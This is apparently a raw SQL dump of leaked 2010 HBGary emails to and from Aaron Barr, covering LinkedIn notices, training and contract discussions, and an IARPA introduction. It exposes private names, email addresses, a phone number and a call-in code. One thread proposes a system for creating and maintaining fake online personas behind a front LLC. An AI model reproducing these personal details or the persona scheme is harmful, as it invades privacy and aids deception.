Adjust your message settings.\r\n© 2010, LinkedIn Corporation',9538,'aaron_hbgary_com/9538.html'),(10739,'2010-08-21','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008275.M939289P14101Q5594.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>,\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Social Media Security Awareness Training for DigitalGlobe','Hello Dan,\r\n\r\nAaron Barr (cc\'d) and I are excited to discuss your training needs\r\nearly next week. We can definitely tailor the course material to suite\r\nyour vision below. Aaron is TS/SCI cleared and has presented a similar\r\n2hr talk at NSA. When is a good time for the three of us to get on a\r\nconference call to discuss?\r\n\r\nRegards,\r\nTed Vera\r\n719-237-8623\r\n\r\nOn Aug 21, 2010, at 12:14 PM, Daniel Collender\r\n wrote:\r\n\r\n> Hi Ted,\r\n>\r\n>\r\n>\r\n> Brian Coulson briefed me on the many HB Gary training/awareness options available to organizations like DigitalGlobe a few weeks back.\r\n>\r\n>\r\n>\r\n> Brian is working closely with Maria on the technology solutions front, so I was hoping I could work with you on the training/awareness front.\r\n>\r\n>\r\n>\r\n> DigitalGlobe is currently developing security awareness training for all company personnel. We do of course have mandatory security training for our cleared personnel, but need to begin  bringing the uncleared folks up to speed as well.\r\n>\r\n>\r\n>\r\n> I would like to organize a series of  mandatory “Security Awareness” briefings for all company personnel (about 600 people currently, the majority of which are in two facilities in Longmont, CO). The initial session would focus on Social Media Threats ( with some emphasis on Phishing/Spear Phishing/Spam). It is critical that we use this training opportunity to convey the seriousness of the threat to our staff and I would appreciate some help from your team to ensure are accomplish that goal. I would like to go as far as using a real world example (perhaps myself or someone from my team) to demonstrate how recognizance can be performed by a bad actor against a DigitalGlobe employee and the information gathered can be used to infiltrate the company through social engineering, spear phishing, etc…. Also, we are working on developing policy in this area so we could integrate the new policy into the sessions.\r\n>\r\n>\r\n>\r\n> My original thought was to have a series of one or two hour sessions (is that enough time?) divided into Class and Unclass. This way we can introduce classified content, if available, into the classified only sessions.\r\n>\r\n>\r\n>\r\n> I am also interested in the full-day training and executive briefings, but the urgent need is to get the entire DigitalGlobe user population trained on how they can protect the company and themselves from these types of threats.\r\n>\r\n>\r\n>\r\n> Would you have sometime early next week to discuss possible options?\r\n>\r\n>\r\n>\r\n> Thanks so much for your time.\r\n>\r\n>\r\n>\r\n> Best,\r\n>\r\n> Dan Collender\r\n>\r\n> Manager, IT Security & Compliance\r\n',5740,'aaron_hbgary_com/5740.html'),(10740,'2010-08-22','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008276.M181751P14101Q5595.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Matthew has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Matthew are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                                \r\n                \r\n                  \r\n                    \r\n                  \r\n                \r\n                \r\n                \r\n                 \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Matthew Graeber \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Vulnerability Analyst, CISSP, CISA, OSCE, CEH\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Matthew\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Computer &amp; Network Security Industry \r\n                        \r\n                        \r\n                          mattgraeber@gmail.com\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Matthew\'s Connections (21) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Aaron Miller\r\n                ,\r\n                  Senior Computer Security Technician at Northrop Grumman\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Mark Coffin\r\n                ,\r\n                  Dep. Director for the Network Warfare Center\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Rui Reis\r\n                ,\r\n                  Information Security Engineer\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Skip Duckwall\r\n                ,\r\n                  Sr. Security  Engineer at Northrup Grumman\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Matthew\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Northrop Grumman Information Systems\r\n                    \r\n                      Matthew works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     The Exploit Database\r\n                    \r\n                      Matthew follows this company\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     US Navy\r\n                    \r\n                      Matthew worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     CSC\r\n                    \r\n                      Matthew knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',93,'aaron_hbgary_com/93.html'),(10741,'2010-08-22','\"Jose sandoval\" <sandoval425@gmail.com>','/aaron@hbgary.com/new/1297008276.M396272P14101Q5596.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Jobs','Aaron, might be able to help you out.  Let me ping some of my friends in the DC area.  I have quite a few...\r\n \r\nJose\r\n \r\nOn Mon, Aug 16, 2010 at 8:29 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\nLinkedIn\r\nAaron Barr has sent you a message.\r\nDate: 8/16/2010 \r\nSubject: Jobs \r\nHey Jose, Hows it going? I have a question for you. I am looking to staff potential positions on the TSA ITSSS contract for lead incident responder, lead forensic analyst, lead SOC, lead cyber intelligence. \r\nKnow of anyone that has a TS and in DC or willing to relocate? I also have a few positions at CIA and NSA but those require full poly... Thanks, Aaron \r\nView/reply to this message\r\n\r\nDon&#39;t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n© 2010, LinkedIn Corporation\r\n',16610,'aaron_hbgary_com/16610.html'),(10742,'2010-08-22','\"LinkedIn Connections\" <connections@linkedin.com>','/aaron@hbgary.com/new/1297008276.M628639P14101Q5597.eml','\"Aaron Barr\" <aaron@hbgary.com>','See what Steven has been up to...','\r\n\r\n  \r\n\r\n\r\n\r\n\r\n           \r\n      \r\n        \r\n\r\n            \r\n               \r\n              \r\n                \r\n                  \r\n                    \r\n                      Aaron, Congratulations!\r\n                    \r\n                    \r\n  You and Steven are now connected.\r\n                    \r\n                  \r\n                \r\n              \r\n               \r\n\r\n              \r\n              \r\n                \r\n              \r\n            \r\n            \r\n\r\n             \r\n            \r\n              \r\n                \r\n                \r\n                \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Steven Adair \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                        \r\n                           Information Security Visionary\r\n                         \r\n \r\n                        \r\n                           \r\n                             \r\n                               \r\n                          \r\n                          View Steven\'s Profile\r\n                                 \r\n                               \r\n                             \r\n                           \r\n                         \r\n                      \r\n                    \r\n                  \r\n                 \r\n                \r\n                 \r\n                  \r\n                    \r\n                      \r\n                        \r\n                          Washington D.C. Metro Area\r\n                        \r\n                        \r\n                          Information Technology and Services Industry \r\n                        \r\n                        \r\n                          steven@slashmail.org\r\n                        \r\n                      \r\n                    \r\n                  \r\n                 \r\n\r\n              \r\n            \r\n             \r\n        \r\n      \r\n     \r\n\r\n\r\n      \r\n    \r\n      \r\n        \r\n          \r\n             Steven\'s Connections (519) \r\n          \r\n          \r\n            See All &#187;\r\n          \r\n        \r\n\r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Jose Nazario, Ph.D.\r\n                ,\r\n                  Board Member at The Honeynet Project\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Zot O\'Connor\r\n                ,\r\n                  at Microsoft\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n        \r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Ravi Damle\r\n                ,\r\n                  Director of Business Development at eTouch Systems Corp.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Alex Eckelberry\r\n                ,\r\n                  CEO at Sunbelt Software\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Steven\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     eTouch Systems\r\n                    \r\n                      Steven works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                  \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     DKW COMMUNICATIONS, INC.\r\n                    \r\n                      Steven worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SAIC\r\n                    \r\n                      Steven worked here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Accenture\r\n                    \r\n                      Steven knows employees here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',3043,'aaron_hbgary_com/3043.html'),(10743,'2010-08-22','\"John Benson CISSP,CEH,CBCP,CIW-SA,SCE,CSS,CCSE\" <John.M.Benson3@gmail.com>','/aaron@hbgary.com/new/1297008283.M377228P14101Q5598.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            John Benson CISSP,CEH,CBCP,CIW-SA,SCE,CSS,CCSE has indicated you are a fellow group member of NSA Information Assurance:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- John Benson CISSP,CEH,CBCP,CIW-SA,SCE,CSS,CCSE\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from John Benson CISSP,CEH,CBCP,CIW-SA,SCE,CSS,CCSE\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n   DID YOU KNOW you can showcase your professional knowledge on LinkedIn to receive job/consulting offers and enhance your professional reputation? Posting replies to questions on LinkedIn Answers puts you in front of the world\'s professional community. \r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',4236,'aaron_hbgary_com/4236.html'),(10744,'2010-08-22','\"Lisa J Porter\" <lisa.j.porter@ugov.gov>','/aaron@hbgary.com/new/1297008283.M988501P14101Q5599.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Manfai Fong\" <manfai.fong@ugov.gov>,\"Aaron Barr\" <aaron@hbgary.com>','Re: e-Intro','Hello Aaron,\r\n\r\nI am currently on leave, but would like to meet when I return.\r\n\r\nI\'d like to invite my Smart Collection office director in on the conversation -- he is currently overseeing a program that might benefit from your insights.\r\n\r\nFong -- could you set something up either the week of the 30th or the following week?\r\n\r\nLisa\r\n\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nTo: dawn meyerriecks \r\nCc: lisa j porter \r\nSent: Fri, 20 Aug 2010 22:28:45 -0000\r\nSubject: Re: e-Intro\r\n\r\nHi Lisa,\r\n\r\nThank you for the introduction Dawn.\r\n\r\nI would be happy to come in and talk about our process for analysis\r\nand our conclusions.  That may spur some other interesting related\r\nconversations.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Aug 20, 2010, at 6:12 PM, \"dawn.meyerriecks@dni.gov\"\r\n wrote:\r\n\r\n> Lisa –\r\n>\r\n>\r\n>\r\n> Aaron is the individual I mentioned that came to me with the interesting code fragment analysis.\r\n>\r\n>\r\n>\r\n> Aaron –\r\n>\r\n>\r\n>\r\n> Lisa is the brilliant scientist we are lucky to have running IARPA.\r\n>\r\n>\r\n>\r\n> Thought you two might have an interesting conversation.  J\r\n>\r\n>\r\n>\r\n> Thanks!  Dawn\r\n\r\n',9607,'aaron_hbgary_com/9607.html'),(10745,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008284.M734163P14101Q5600.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: e-Intro','Sent from my iPhoneBegin forwarded message:From: Lisa J Porter &lt;lisa.j.porter@ugov.gov&gt;\r\nDate: August 22, 2010 6:24:42 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;, Manfai Fong &lt;manfai.fong@ugov.gov&gt;Cc: dawn meyerriecks &lt;dawn.meyerriecks@dni.gov&gt;\r\nSubject: Re: e-IntroHello Aaron,I am currently on leave, but would like to meet when I return.\r\nI&#39;d like to invite my Smart Collection office director in on the conversation -- he is currently overseeing a program that might benefit from your insights.Fong -- could you set something up either the week of the 30th or the following week?\r\nLisa----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;To: dawn meyerriecks &lt;dawn.meyerriecks@dni.gov&gt;\r\nCc: lisa j porter &lt;lisa.j.porter@ugov.gov&gt;Sent: Fri, 20 Aug 2010 22:28:45 -0000Subject: Re: e-IntroHi Lisa,\r\nThank you for the introduction Dawn.I would be happy to come in and talk about our process for analysisand our conclusions.  That may spur some other interesting related\r\nconversations.AaronSent from my iPadOn Aug 20, 2010, at 6:12 PM, &quot;dawn.meyerriecks@dni.gov&quot;\r\n&lt;dawn.meyerriecks@dni.gov&gt; wrote:Lisa –\r\nAaron is the individual I mentioned that came to me with the interesting code fragment analysis.\r\nAaron –\r\nLisa is the brilliant scientist we are lucky to have running IARPA.\r\nThought you two might have an interesting conversation.  J\r\nThanks!  Dawn\r\n\r\n',14104,'aaron_hbgary_com/14104.html'),(10746,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008286.M868397P14101Q5601.eml','\"Robert Frisbie\" <Robert.Frisbie@ManTech.com>','Abstract for R&D','Hi Bob,\r\n\r\nTake a look and let me know what you think.  Its high level, I didn\'t get in to describing the APIs, Database Schema, or analytic methodologies.  I wanted to start by capturing the scope of the overall effort.  Let me know what else you need.\r\n\r\nAaron\r\n\r\n',11619,'aaron_hbgary_com/11619.html'),(10747,'2010-08-23','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','/aaron@hbgary.com/new/1297008287.M138825P14101Q5602.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Abstract for R&D','Aaron\r\n\r\nThanks.  For the R&D effort, what exactly would be the deliverables?\r\nAny idea (prior to seeing R&D results) what the O&M $ tail may be?\r\n\r\nbob\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, August 23, 2010 8:22 AM\r\nTo: Frisbie, Robert P\r\nSubject: Abstract for R&D\r\n\r\nHi Bob,\r\n\r\nTake a look and let me know what you think.  Its high level, I didn\'t\r\nget in to describing the APIs, Database Schema, or analytic\r\nmethodologies.  I wanted to start by capturing the scope of the overall\r\neffort.  Let me know what else you need.\r\n\r\nAaron\r\n\r\n',1639,'aaron_hbgary_com/1639.html'),(10748,'2010-08-23','\"John Fanguy\" <jfanguy@digitalmanagement.com>','/aaron@hbgary.com/new/1297008287.M419727P14101Q5603.eml','\"aaron@hbgary.com\" <aaron@hbgary.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>,\"msteckman@palantir.com\" <msteckman@palantir.com>,\"Paul Meaney\" <paul.meaney@ngc.com>,\"rob.wilson@telos.com\" <rob.wilson@telos.com>,\"robert.sanderson@telos.com\" <robert.sanderson@telos.com>,\"Suzanne.Petrie@TASC.COM\" <Suzanne.Petrie@TASC.COM>,\"ted@hbgary.com\" <ted@hbgary.com>,\"tom.leahy@telos.com\" <tom.leahy@telos.com>,\"tom.ryder@telos.com\" <tom.ryder@telos.com>,\"Andretta, Christine N (TASC)\" <Christine.Andretta@TASC.COM>,\"aaron@hbgary.com\" <aaron@hbgary.com>,\"jwootton@palantir.com\" <jwootton@palantir.com>','TSA-ITSSS Daily Team Call 8:30am','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen: Occurs every weekday effective 8/6/2010 until 8/30/2010 from 8:30 AM to 8:45 AM (UTC-05:00) Eastern Time (US &amp; Canada).\r\nWhere: 605-475-4850 code 1066743#; DMI Bethesda\r\n&nbsp;\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n&nbsp;\r\n*~*~*~*~*~*~*~*~*~*\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\n\r\n',13738,'aaron_hbgary_com/13738.html'),(10749,'2010-08-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008287.M615348P14101Q5604.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Re: Abstract for R&D','Sure.\r\n\r\nDeliverables would be a working prototype/beta system with the ability to create personas and automatically keep fresh.  The growth here will be to continue to mature the system.\r\n\r\nO&M tail should be pretty minimal.  There will be a small hardware footprint for the collection and correlation.  We might want to think about developing an LLC for social media optimization or something like that and purchasing bandwidth and developing a webpage for the service.  The crawlers would be under this LLC.  This is not required but just a thought.  Some number of hours for a human to maintain, this should be on the order of 25% for 1 FTE, maybe less depending on how many personas we want to continue to create, etc.\r\n\r\nThere are some spin off potential capabilities from the collection of the social media data that I think could be pretty interesting we can talk about at another time.  The data itself will be quite useful.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 23, 2010, at 8:32 AM, Frisbie, Robert P wrote:\r\n\r\n> Aaron\r\n> \r\n> Thanks.  For the R&D effort, what exactly would be the deliverables?\r\n> Any idea (prior to seeing R&D results) what the O&M $ tail may be?\r\n> \r\n> bob\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 23, 2010 8:22 AM\r\n> To: Frisbie, Robert P\r\n> Subject: Abstract for R&D\r\n> \r\n> Hi Bob,\r\n> \r\n> Take a look and let me know what you think.  Its high level, I didn\'t\r\n> get in to describing the APIs, Database Schema, or analytic\r\n> methodologies.  I wanted to start by capturing the scope of the overall\r\n> effort.  Let me know what else you need.\r\n> \r\n> Aaron\r\n> \r\n\r\n',9644,'aaron_hbgary_com/9644.html'),(10750,'2010-08-23','arc@westfields.net','/aaron@hbgary.com/new/1297008287.M834199P14101Q5605.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Friday, 08/20/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO-CAPRICA (Announcement & Document Posting)\r\n\r\nNRO/SE-Graystone (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; 